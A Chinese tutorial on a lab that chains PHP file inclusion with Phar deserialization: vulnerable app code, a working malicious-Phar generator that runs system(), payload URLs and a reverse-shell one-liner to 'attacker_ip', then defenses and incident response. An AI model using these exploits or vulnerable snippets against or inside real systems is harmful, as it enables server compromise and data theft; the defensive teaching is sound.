1. 项目概述:一次对PHP文件包含与Phar反序列化漏洞的深度实战剖析
最近在复盘一些老项目的安全审计记录时,我重新审视了“文件包含漏洞”这个看似基础却常被忽视的攻击面。特别是当它与PHP的Phar协议、include/require函数,以及php://filter伪协议交织在一起时,会形成一条极具隐蔽性和破坏力的攻击链。很多开发者,甚至是一些中级安全人员,可能只了解其中一两个点,但对其串联利用的完整逻辑和防御要点并不清晰。今天,我就结合一个模拟的实战场景,把这几个技术点掰开揉碎了讲清楚。这篇文章适合有一定PHP基础、想深入理解Web安全中代码执行漏洞原理的开发者或安全爱好者。我们将从漏洞原理、环境搭建、手工利用、自动化工具辅助,再到深度防御,走完一个完整的“攻防演练”流程。
2. 漏洞原理深度拆解:为何它们能组合出“王炸”?
在深入实操之前,我们必须先理解这三个核心组件各自的工作原理,以及它们是如何被“组装”成攻击武器的。这就像理解一个复杂机械的每个齿轮是如何咬合的。
2.1 文件包含漏洞的本质:信任边界的崩塌
文件包含漏洞的核心在于,程序将用户可控的输入,未经充分验证就直接作为文件路径参数,传递给了文件包含函数(如include、require、include_once、require_once)。
一个典型的漏洞代码片段:
// vuln.php $page = $_GET['page']; include($page . '.php');开发者的本意可能是通过?page=home来加载home.php。但攻击者可以构造?page=http://evil.com/shell,如果allow_url_include配置为On,则会包含远程文件执行恶意代码。更常见的是利用路径遍历,如?page=../../../../etc/passwd来读取敏感文件。
注意:
include和require的主要区别在于错误处理。include在包含失败时产生警告(E_WARNING),脚本继续执行;require则产生致命错误(E_COMPILE_ERROR),脚本停止。但在漏洞利用上,两者没有区别。
这个漏洞的根源是“信任”问题:程序过度信任了来自客户端(用户)的输入,并将其直接映射到服务器本地的文件系统或网络资源访问操作上。
2.2 Phar协议与反序列化:藏在“压缩包”里的木马
Phar(PHP Archive)是PHP的一种打包格式,类似于Java的JAR。它可以将多个PHP文件、资源等打包成一个.phar文件。Phar文件包含三部分:存根(Stub)、清单(Manifest)和文件内容。
关键点在于清单(Manifest)。它包含了被打包文件的元信息,并以序列化的形式存储。当PHP通过phar://伪协议去访问Phar文件内部的某个子文件时(例如phar:///path/to/archive.phar/internal/file.php),Phar扩展会自动反序列化这个清单数据。
这就埋下了一个巨大的安全隐患:如果攻击者能够控制Phar文件的内容,并在清单中插入恶意的序列化数据(一个包含__destruct()或__wakeup()魔术方法的对象),那么当这个Phar文件被以任何方式(如file_get_contents()、include、甚至是file_exists())通过phar://协议访问时,反序列化过程就会被触发,从而执行对象中的恶意代码。
有趣的是,Phar文件不一定需要.phar后缀。通过修改文件头(Stub),它可以伪装成.jpg、.png甚至.txt文件,这极大地增加了检测和防御的难度。
2.3 php://filter伪协议:文件内容的“透视镜”与“转换器”
php://filter是PHP提供的一个用于访问输入/输出流的过滤器。在文件包含的语境下,它最常被用来进行读取文件源码和编码转换。
读取源码:当包含一个非PHP文件(如
.txt)时,PHP会直接将其内容作为文本输出。但如果服务器配置了allow_url_include=Off,无法直接包含远程文件,或者我们想读取PHP文件的源码(因为包含PHP文件会被执行,看不到源码),就可以利用filter的convert.base64-encode过滤器。- 利用载荷:
php://filter/convert.base64-encode/resource=config.php - 这会将
config.php的内容进行Base64编码后输出,攻击者解码即可获得源码。
- 利用载荷:
编码转换与利用:
filter的另一个强大之处在于可以串联多个过滤器。这在某些无文件写入、仅有文件包含的场景下,可以配合Phar实现攻击。例如,我们可以将一段恶意PHP代码先进行Base64编码,再通过filter在包含时解码。不过,更经典的组合是与Phar反序列化结合。
2.4 致命组合:include + phar:// + 可控文件上传
现在,我们把齿轮组装起来。一个典型的攻击链如下:
- 前提:存在一个本地文件包含漏洞(LFI),且攻击者能以某种方式(如文件上传、缓存欺骗)将一个恶意构造的Phar文件(可伪装成图片)放置到服务器上已知或可推测的路径。
- 触发:攻击者通过文件包含漏洞,去包含这个恶意Phar文件,但使用
phar://协议包装路径。例如:include($_GET['file']);,传入?file=phar:///uploads/evil.jpg/shell.php(这里的shell.php是Phar包内的一个虚拟路径,用于触发解析)。 - 引爆:PHP在解析
phar://流时,会解析evil.jpg(实为Phar包)的清单,并反序列化其中的数据。如果清单内包含了恶意序列化对象,其魔术方法(如__destruct())中的代码就会被立即执行,从而实现远程代码执行(RCE)。
这个链条的可怕之处在于,它绕过了对文件后缀的检查(因为Phar文件可以伪装成图片),也不需要allow_url_include开启(因为是本地文件包含),在防御不严的环境中成功率很高。
3. 实战环境搭建与漏洞复现
理解了原理,我们动手搭建一个高度还原的漏洞环境。我建议使用Docker,干净且易于重置。
3.1 环境配置与漏洞代码编写
首先,我们创建一个脆弱的PHP应用。
目录结构:
/vuln-app ├── index.php ├── upload.php ├── includes/ │ └── (空) └── uploads/ └── (空,需可写)index.php (存在文件包含漏洞):
<?php // 存在致命漏洞的包含点 if (isset($_GET['page'])) { $file = $_GET['page']; // 危险!未对用户输入进行任何过滤 include($file); } else { echo "Welcome to the vulnerable app. Use ?page= to include files."; } ?>upload.php (存在不严谨的上传点):
<?php if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) { $uploadDir = 'uploads/'; $fileName = basename($_FILES['file']['name']); $uploadPath = $uploadDir . $fileName; // 极其脆弱的检查:仅检查MIME类型(可被轻易伪造) $allowedTypes = ['image/jpeg', 'image/png', 'image/gif']; if (in_array($_FILES['file']['type'], $allowedTypes)) { if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadPath)) { echo "File uploaded successfully: <a href='$uploadPath'>$fileName</a>"; } else { echo "Upload failed."; } } else { echo "Invalid file type."; } } ?> <form method="POST" enctype="multipart/form-data"> <input type="file" name="file"> <input type="submit" value="Upload"> </form>PHP配置 (php.ini 关键项):
allow_url_fopen = On allow_url_include = Off // 我们模拟更常见的安全配置实操心得:在实际测试中,
allow_url_include默认或设置为Off的情况占绝大多数,因此利用本地文件包含(LFI)配合Phar是更通用的手法。我们的环境也基于此设置。
3.2 构造恶意Phar文件
这是攻击的核心步骤。我们需要编写一个PHP脚本来生成恶意的Phar文件。
create_phar.php (攻击者本地执行):
<?php // 定义一个包含恶意代码的类 class EvilClass { public $cmd = 'whoami'; public function __destruct() { // 当对象被销毁时,执行系统命令 system($this->cmd); } } // 删除之前生成的phar文件,避免冲突 @unlink('evil.phar'); // 创建一个新的Phar对象 $phar = new Phar('evil.phar'); $phar->startBuffering(); // 设置stub,`__HALT_COMPILER();`是必须的,前面内容可以自定义,用于伪装 $phar->setStub('GIF89a<?php __HALT_COMPILER(); ?>'); // 创建要放入phar的文件内容,这里我们放一个虚拟文件 $phar->addFromString('test.txt', 'This is a test.'); // 关键:将恶意对象放入manifest的metadata中 $object = new EvilClass(); $object->cmd = 'id'; // 要执行的命令,例如查看当前用户 $phar->setMetadata($object); // 序列化对象并存入metadata $phar->stopBuffering(); echo "Phar file 'evil.phar' created successfully.\n"; // 为了方便上传,将其重命名为jpg后缀 copy('evil.phar', 'evil.jpg'); echo "Copied to 'evil.jpg' for upload.\n"; ?>在攻击者机器上执行php create_phar.php,会生成evil.phar和evil.jpg。用hexdump查看evil.jpg开头,可以看到GIF89a文件头和后面的PHP代码,成功伪装成了GIF。
3.3 完整攻击链演示
现在,我们模拟一个完整的攻击过程:
Step 1: 文件上传
- 访问
http://target.com/upload.php - 选择生成的
evil.jpg文件上传。 - 服务器检查MIME类型为
image/jpeg,通过,文件被保存到uploads/evil.jpg。
- 访问
Step 2: 触发文件包含与Phar反序列化
- 攻击者已知或猜测上传路径为
uploads/evil.jpg。 - 他访问存在漏洞的包含点:
http://target.com/index.php?page=phar://uploads/evil.jpg/test.txt index.php接收到page=phar://uploads/evil.jpg/test.txt。include()函数尝试通过phar://协议读取这个“图片”文件中的test.txt。- PHP的Phar扩展在处理
phar://流时,解析evil.jpg,发现其实际是Phar格式,开始读取其清单(Manifest)。 - 在读取清单时,自动反序列化
setMetadata中存储的EvilClass对象。 - 由于是包含操作,脚本执行结束后,对象会超出作用域或被销毁,触发
__destruct()魔术方法。 __destruct()方法中的system($this->cmd);被执行,命令id在服务器上运行。- 命令执行的结果(如
uid=33(www-data))会直接输出到网页中,攻击完成。
- 攻击者已知或猜测上传路径为
踩坑记录:在实际测试中,有时命令执行了但没有回显。这可能是因为
include包含一个非PHP文件时,其输出被嵌入到了HTML的某个位置,被标签淹没。此时,可以考虑使用反弹Shell的命令(如bash -c 'bash -i >& /dev/tcp/attacker_ip/port 0>&1'),或者将输出写入一个web可读的文件。在EvilClass的__destruct()中改用file_put_contents('/tmp/result.txt', shell_exec($this->cmd));也是一种稳定的方式。
4. 利用php://filter进行信息收集与辅助攻击
在无法直接上传Phar文件,但存在文件包含漏洞时,php://filter是我们的首要侦察工具。
4.1 源码泄露实战
假设我们通过信息收集,怀疑存在config.php、database.php等敏感文件。
- 直接读取非PHP文件:
?page=../../.env(如果存在且路径正确,会直接显示数据库密码等配置)。 - 读取PHP文件源码:
?page=php://filter/convert.base64-encode/resource=index.php- 服务器会返回Base64编码后的
index.php源码。攻击者只需解码即可。 - 通过分析源码,可以寻找其他漏洞点、数据库配置、绝对路径等关键信息。
- 服务器会返回Base64编码后的
4.2 Filter链的巧妙利用:无需文件上传的Phar触发
这是一种更高级的技巧,适用于绝对无法上传文件,但可以控制包含内容(例如通过日志注入、Session注入)的场景。其核心是利用php://filter的convert.iconv.*过滤器进行字符集转换,将一段精心构造的文本转换成有效的Phar文件二进制流。
过程简述:
- 攻击者将恶意Phar文件的二进制内容,通过特定的字符集转换过滤器(如
convert.iconv.UTF8.UTF16LE),“编码”成一段看似乱码的文本。 - 通过某种方式(如写入访问日志、Session文件)将这段文本写入服务器的一个文件中。
- 利用文件包含漏洞,通过
php://filter使用反向的字符集转换过滤器去读取这个文件,使其在内存中还原为Phar二进制流。 - 最后用
phar://包装这个filter流,触发反序列化。
一个简化示例载荷:
?page=php://filter/convert.iconv.UTF8.UTF16LE|convert.base64-decode/resource=phar:///path/to/controllable_file这个技巧实现起来非常复杂,需要对Phar文件格式和过滤器编码有深刻理解。它通常作为“终极手段”出现在CTF比赛中,在实际渗透中较少见,但了解其原理有助于构建全面的防御体系。
注意事项:这种利用方式对PHP版本和过滤器可用性有要求,且构造过程繁琐。在实战中,优先寻找文件上传点,其次利用日志/Session包含,最后才考虑这种复杂方法。
5. 防御方案与最佳实践
知其攻,方能善其守。针对这条攻击链,我们需要构建多层次、纵深的安全防御。
5.1 代码层防御:白名单与严格校验
这是最根本的防御。
- 禁用危险函数:在
php.ini中设置disable_functions = system, exec, passthru, shell_exec, proc_open, ...。这能阻断大部分命令执行。 - 严格限制文件包含参数:
// 正确的做法:白名单机制 $allowedPages = ['home', 'about', 'contact']; $page = $_GET['page'] ?? 'home'; if (in_array($page, $allowedPages)) { include(__DIR__ . '/templates/' . $page . '.php'); } else { include(__DIR__ . '/templates/404.php'); }- 绝对不要使用用户输入直接拼接路径。
- 如果需要动态包含,使用白名单是唯一安全的方式。
- 安全处理文件上传:
- 重命名:使用随机字符串(如
md5(uniqid()))重命名上传的文件,避免被猜测路径。 - 验证内容:不仅检查MIME类型(可伪造),更要使用
getimagesize()检查图片文件的实际结构,或对文件内容进行二次渲染验证。 - 隔离存储:将上传的文件存储在Web根目录之外,并通过一个专门的脚本(如
download.php?id=xxx)来提供访问。这样,即使文件是恶意Phar,也无法通过Web直接以phar://协议访问到。 - 限制后缀:严格限制允许上传的后缀名白名单。
- 重命名:使用随机字符串(如
5.2 配置层加固:关闭危险特性
- php.ini 关键配置:
allow_url_fopen = Off // 尽可能关闭 allow_url_include = Off // 必须关闭! - 限制Phar协议:在PHP 7.4及以上版本,可以在
php.ini中禁用Phar的流包装器,但这可能影响合法使用。phar.readonly = On // 默认即为On,确保它不被关闭。设置为On时,无法通过PharData等创建可写的phar包,但读取仍可能触发反序列化。- 更彻底的是,在代码中或Web服务器层流包装器。但最有效的还是在代码层面杜绝不必要的动态包含。
5.3 架构与运维层防护
- 最小权限原则:运行PHP-FPM或Apache进程的用户(如
www-data)应具有最小权限。确保其不能执行敏感系统命令,不能写入关键目录。 - 定期更新与扫描:保持PHP、Web服务器及所有组件的最新版本。使用静态代码分析工具(如
phpcs配合安全规则)、动态应用安全测试(DAST)工具进行定期扫描。 - WAF(Web应用防火墙)规则:部署WAF,并配置规则拦截包含
phar://、php://filter等危险协议串的请求,以及常见的路径遍历特征(如../)。
5.4 安全开发意识
将安全作为开发生命周期的一部分。进行代码审计时,将include、require、file_get_contents等文件操作函数作为重点审计对象。在团队内推广安全编码规范。
6. 排查与应急响应:当漏洞可能已存在
如果你怀疑自己的系统可能存在此类漏洞,可以按以下步骤排查:
- 代码审计:全局搜索
include、require、include_once、require_once、file_get_contents等函数,检查其参数是否用户可控且未经验证。 - 日志分析:检查Web服务器访问日志(如Nginx的
access.log),寻找异常的请求参数,特别是包含phar://、php://filter、../、....//等字符的请求。 - 文件检查:检查上传目录,查看是否有可疑的非图片文件(可以通过文件头魔数检查)。检查
/tmp、Session目录等临时目录是否有可疑文件。 - 后门排查:使用
find命令结合webshell特征码扫描工具,检查Web目录下是否有新增的、可疑的PHP文件。 - 入侵确认:如果发现确切的利用痕迹(如日志中有成功的Phar包含请求,且之后有异常命令执行日志),应立即隔离服务器,进行取证,并按照安全事件响应流程处理。
我个人在多次内部红蓝对抗和渗透测试项目中发现,由文件包含漏洞引发的安全事件,其根本原因往往不是技术有多复杂,而是开发人员对“用户输入不可信”这一黄金法则的忽视。修复一个include语句可能只需要几分钟,但由此引发的数据泄露、服务器沦陷的损失却无法估量。安全无小事,它必须贯穿于每一行代码的编写和每一次功能的设计之中。